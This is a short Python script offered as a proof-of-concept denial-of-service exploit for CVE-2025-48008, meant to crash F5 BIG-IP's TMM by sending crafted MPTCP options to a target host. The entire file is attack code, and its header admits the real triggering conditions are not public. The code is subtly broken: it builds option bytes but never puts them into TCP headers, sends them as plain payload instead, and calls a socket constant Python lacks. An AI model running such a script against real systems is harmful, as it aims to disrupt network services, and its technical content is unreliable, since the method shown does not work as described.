# CVE-2025-48008 PoC - F5 BIG-IP MPTCP TMM DoS
# This PoC demonstrates triggering TMM termination via crafted MPTCP traffic
# Note: Specific triggering conditions are not publicly disclosed by F5
# Use only for authorized security testing
import socket
import struct
import random
def build_mptcp_option(subtype, data=b''):
"""Build a generic MPTCP TCP option (Kind=30)"""
kind = 30 # MPTCP option kind
length = 2 + len(data) + 1 # kind + length + subtype + data + padding
# Pad to 4-byte boundary
if length % 4 != 0:
length += 4 - (length % 4)
option = struct.pack('!BB', kind, length) + struct.pack('!B', subtype) + data
# Pad with NOP options
while len(option) % 4 != 0:
option += b'\x01' # NOP
return option
def build_mptcp_capable_option():
"""MP_CAPABLE option (subtype 0) - initiate MPTCP connection"""
# Version 1, flags=0, sender_key (random 64-bit)
sender_key = random.getrandbits(64)
data = struct.pack('!BB', 0x10, 0x00) + struct.pack('!Q', sender_key)
return build_mptcp_option(0x00, data)
def build_mptcp_join_option(token, nonce, addr_id):
"""MP_JOIN option (subtype 1) - join additional path"""
# flags + address_id + receiver_token + sender_nonce + sender_address_id
data = struct.pack('!BB', 0x00, addr_id) + struct.pack('!I', token) + struct.pack('!I', nonce) + struct.pack('!B', addr_id)
return build_mptcp_option(0x01, data)
def send_mptcp_syn(target_host, target_port):
"""Send SYN with MPTCP capable option to trigger vulnerability"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
# Build SYN packet with MP_CAPABLE option
mptcp_opt = build_mptcp_capable_option()
# Set TCP options to include MPTCP
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_MAX_SYN_BACKLOG, 5)
try:
s.connect((target_host, target_port))
print(f"[+] Connected to {target_host}:{target_port}")
# Send data to trigger MPTCP path addition
s.send(b'GET / HTTP/1.1\r\nHost: target\r\n\r\n')
print("[+] Sent payload - check if TMM terminated")
except Exception as e:
print(f"[-] Connection error: {e}")
finally:
s.close()
def send_malicious_mptcp_add_address(target_host, target_port, addr_id=1):
"""Send MPTCP ADD_ADDR with crafted parameters"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
try:
s.connect((target_host, target_port))
# Construct malformed MPTCP ADD_ADDR option
# subtype 3 = ADD_ADDR
# Using edge-case values to trigger TMM crash
crafted_data = struct.pack('!BB', 0x00, addr_id) # flags + addr_id
crafted_data += socket.inet_aton(target_host) # IPv4 address
crafted_data += struct.pack('!H', target_port) # port
mptcp_opt = build_mptcp_option(0x03, crafted_data)
s.send(mptcp_opt)
print("[+] Sent crafted MPTCP ADD_ADDR option")
except Exception as e:
print(f"[-] Error: {e}")
finally:
s.close()
if __name__ == "__main__":
TARGET = "192.168.1.100" # Replace with target BIG-IP VIP
PORT = 443 # Replace with target port
print(f"[*] CVE-2025-48008 PoC - F5 BIG-IP MPTCP TMM DoS")
print(f"[*] Target: {TARGET}:{PORT}")
print(f"[*] WARNING: Use only for authorized penetration testing\n")
# Attempt 1: Send MPTCP SYN
send_mptcp_syn(TARGET, PORT)
# Attempt 2: Send crafted ADD_ADDR
send_malicious_mptcp_add_address(TARGET, PORT)